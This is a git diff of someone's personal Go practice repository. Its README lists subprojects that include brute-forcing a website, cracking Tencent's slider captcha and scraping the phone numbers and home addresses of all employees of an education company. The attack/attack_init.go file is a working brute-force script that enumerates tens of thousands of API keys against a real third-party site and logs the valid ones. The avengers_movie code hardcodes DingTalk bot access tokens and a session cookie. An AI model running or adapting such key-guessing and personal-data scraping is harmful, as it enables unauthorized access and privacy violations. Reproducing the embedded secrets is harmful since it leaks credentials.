initialize

.gitignore

@@ -0,0 +1,2 @@
+.idea/
+peterq.cn.crt

README.md

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+# small funny project
+
+> 这个是本人学习go语言的实践小项目,或者验证型实验. 每一个子目录都是一个小项目
+
+> 仅供学习参考, 请勿作怪, 谢谢合作
+
+```
+.
+├── ascii // 任意进制转换
+├── attack // 暴力破解某网站
+├── avengers_movie // 复联4抢票助手
+├── baidu_pan // 百度网盘下载实验
+├── food // 高并发爬取某食物网站数据
+├── frame_buffer // linux 下无桌面环境实现gui
+├── fsnotify // fsnotify
+├── go.mod
+├── go.sum
+├── leet_code // leet_code 刷题记录
+├── loader // 这些小项目的加载器, 用来实现单入口启动
+├── main.go
+├── my_charles // 实现charles功能, 对不同域名自动生成证书, 实现抓取https数据
+├── projects/maze // 迷宫算法实现
+├── proxy // 第一代 http 代理池
+├── README.md
+├── spider_client // 爬虫客户端 + 第二代 http 代理池
+├── tcp_log // 远程日志输出端
+├── tencent_code // 破解腾讯滑动验证
+├── test // 一些测试
+├── wasm // web assmebly 测试
+├── xes // 爬取学而思全体员工手机号及住址
+└── yeb_exp // 余额宝体验金助手
+```

ascii/main.go

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+package main
+
+import (
+	"log"
+	"math"
+	"strings"
+)
+
+var sourceMap [62]string
+var encodeMap [93]string
+var encodeMapRevert = make(map[string]uint8)
+
+func init() {
+	str := "abcdefghijklmnopqrstuvwxyz"
+	str += "ABCDEFGHIJKLNMOPQRSTUVWXYZ"
+	str += "1234567890"
+	for idx, ch := range str {
+		sourceMap[idx] = string(ch)
+	}
+	str += "~`!@#$%^&*()_+-=<>,.?/:|\\;'{}[]"
+	for idx, ch := range str {
+		encodeMap[idx] = string(ch)
+		encodeMapRevert[string(ch)] = uint8(idx)
+	}
+}
+
+func encode(src string) string {
+	result := ""
+	for i := 0; i < len(src)-1; i += 3 {
+		s := src[i : i+3]
+		temp := decimalToAny(anyToDecimal(s, 62), 93)
+		log.Println(s, temp, anyToDecimal(s, 62))
+		temp = strings.Repeat(encodeMap[0], 2-len(temp)) + temp
+		result += temp
+	}
+	return result
+}
+
+func decode(src string) string {
+	result := ""
+	for i := 0; i < len(src)-1; i += 2 {
+		s := src[i : i+2]
+		temp := decimalToAny(anyToDecimal(s, 93), 62)
+		temp = strings.Repeat(encodeMap[0], 3-len(temp)) + temp
+		result += temp
+	}
+	return result
+}
+
+// 10进制转任意进制
+func decimalToAny(num, n int) string {
+	new_num_str := ""
+	var remainder int
+	var remainder_string string
+	for num != 0 {
+		remainder = num % n
+		remainder_string = encodeMap[remainder]
+		new_num_str = remainder_string + new_num_str
+		num = num / n
+	}
+	return new_num_str
+}
+
+// 任意进制转10进制
+func anyToDecimal(num string, n int) int {
+	new_num := float64(0.0)
+	nNum := len(strings.Split(num, "")) - 1
+	for _, value := range strings.Split(num, "") {
+		tmp := float64(encodeMapRevert[value])
+		new_num += tmp * math.Pow(float64(n), float64(nNum))
+		nNum--
+	}
+	return int(new_num)
+}
+
+func main() {
+	log.Println(encode("d41d8cd98f00b204e9800998ecf8427e"))
+}

ascii/sizeof.go

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+package main
+
+import (
+	"log"
+	"unsafe"
+)
+
+type t1 struct {
+	a int
+}
+
+type t2 struct {
+	_ [0]func(string, []string) bool
+	_ [0]func(string, []string) bool
+	_ [0]func(string, []string) bool
+	a int
+}
+
+func main() {
+	var t11 t1
+	var t22 t2
+	log.Println(unsafe.Sizeof(t11))
+	log.Println(unsafe.Sizeof(t22))
+}

attack/attack_init.go

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+package attack
+
+import (
+	"funny/spider_client"
+	"github.com/axgle/mahonia"
+	"log"
+	"strconv"
+	"strings"
+)
+
+func Init() {
+	log.Print("attack init")
+	spider := spider_client.New(1000, 10, 0, true)
+	for i := 22744; i < 100000; i++ {
+		go func(i int) {
+			res, err := spider.Get("http://www.90api.cn/vip.php?key="+strconv.Itoa(584198000+i)+"&sl=1", 0)
+			if err != nil {
+				log.Println(err, res, i)
+			} else {
+				str := ConvertToString(res.Body, "gbk", "utf-8")
+				if strings.Index(str, "已过期") < 0 {
+					log.Println(str, i)
+				}
+			}
+		}(i)
+	}
+	select {}
+}
+
+func ConvertToString(src string, srcCode string, tagCode string) string {
+	srcCoder := mahonia.NewDecoder(srcCode)
+	srcResult := srcCoder.ConvertString(src)
+	tagCoder := mahonia.NewDecoder(tagCode)
+	_, cdata, _ := tagCoder.Translate([]byte(srcResult), true)
+	result := string(cdata)
+	return result
+}

avengers_movie/main.go

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+package main
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"fmt"
+	"github.com/PuerkitoBio/goquery"
+	"io/ioutil"
+	"log"
+	"net/http"
+	"net/http/cookiejar"
+	"net/url"
+	"strings"
+	"sync"
+	"time"
+)
+
+var globalCtx context.Context
+var cancelGlobalCtx context.CancelFunc
+var dingUrl = "https://oapi.dingtalk.com/robot/send?access_token=40da525c975c6a7d433eaf85854e12b0a99579348ae54775a382694501b1b7f0"
+
+//var dingUrl = "https://oapi.dingtalk.com/robot/send?access_token=d50545dca18bcaa92e507c8e27cb1b6f78139050eb40bffeef5cde4303954e47"
+var resultUrl = "https://maoyan.com/cinema/15658?poi=80370653&movieId=248172"
+var dingBotNotify = newDingBot(dingUrl)
+var html []byte
+var cookies = []*http.Cookie{
+	{
+		Name:  "JSESSIONID",
+		Value: "23A6BC7FF315CD8A582852A5B17D3136.node1",
+	},
+}
+var result string
+var resultLock sync.Mutex
+
+var httpClient = http.Client{
+	Transport:     nil,
+	CheckRedirect: nil,
+	Jar:           nil,
+	Timeout:       0,
+}
+
+func main() {
+	log.Println("启动成功")
+	globalCtx, cancelGlobalCtx = context.WithCancel(context.Background())
+
+	httpClient.Jar, _ = cookiejar.New(&cookiejar.Options{
+		PublicSuffixList: nil,
+	})
+	u, _ := url.Parse("http://jwglnew.hunnu.edu.cn")
+	log.Println(u, cookies)
+	httpClient.Jar.SetCookies(u, cookies)
+
+	go checkResult()
+	go heartBeat()
+	<-globalCtx.Done()
+}
+
+func checkResult() {
+	for true {
+		currentResult := grab()
+		resultLock.Lock()
+		resultLock.Unlock()
+		if result != currentResult {
+			log.Println("有变化")
+			result = currentResult
+			sendToDing("有变化啦!!!!")
+		} else {
+			log.Println("没变化")
+		}
+		// 每分钟查一次
+		time.Sleep(time.Minute)
+	}
+}
+
+func sendToDing(title string) {
+	resultLock.Lock()
+	defer resultLock.Unlock()
+	if len(result) < 5 {
+		return
+	}
+	js := `{
+     "msgtype": "markdown",
+     "markdown": {"title":"", "text":"" }}`
+	postData := map[string]interface{}{}
+	json.Unmarshal([]byte(js), &postData)
+	md := `
+# %s
+%s
+
+`
+	md = fmt.Sprintf(md, title, result)
+	dingBotNotify.sendMarkDown(title, md)
+}
+
+func heartBeat() {
+	time.Sleep(5 * time.Second)
+	for true {
+		nextTime := time.Now().Add(time.Hour * 2)
+		sendToDing("我还活着, 下次时间:" + nextTime.Format("15:04:05"))
+		// 2 小时发送一次消息, 用来确认还活着
+		time.Sleep(2 * time.Hour)
+	}
+}
+
+func grab() string {
+	req, _ := http.NewRequest("GET", resultUrl, nil)
+	resp, err := httpClient.Do(req)
+	if err != nil {
+		log.Println(err)
+	}
+	bin, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		log.Println(err)
+	}
+	content := string(bin)
+	doc, _ := goquery.NewDocumentFromReader(strings.NewReader(content))
+	return doc.Find("#app > div.show-list.active > div.show-date").Text()
+}
+
+type dingBot struct {
+	apiUrl string
+}
+
+type tjson map[string]interface{}
+
+func newDingBot(url string) *dingBot {
+	return &dingBot{
+		apiUrl: url,
+	}
+}
+
+func (bot *dingBot) sendMarkDown(title, content string) {
+	postData := tjson{
+		"msgtype": "markdown",
+		"markdown": tjson{
+			"title": title,
+			"text":  "# " + title + "\n\n" + content,
+		},
+	}
+	postRaw, _ := json.Marshal(postData)
+	resp, err := http.Post(bot.apiUrl, "application/json", bytes.NewReader(postRaw))
+	if err != nil {
+		log.Println(err)
+		return
+	}
+	bin, _ := ioutil.ReadAll(resp.Body)
+	log.Println(string(bin))
+}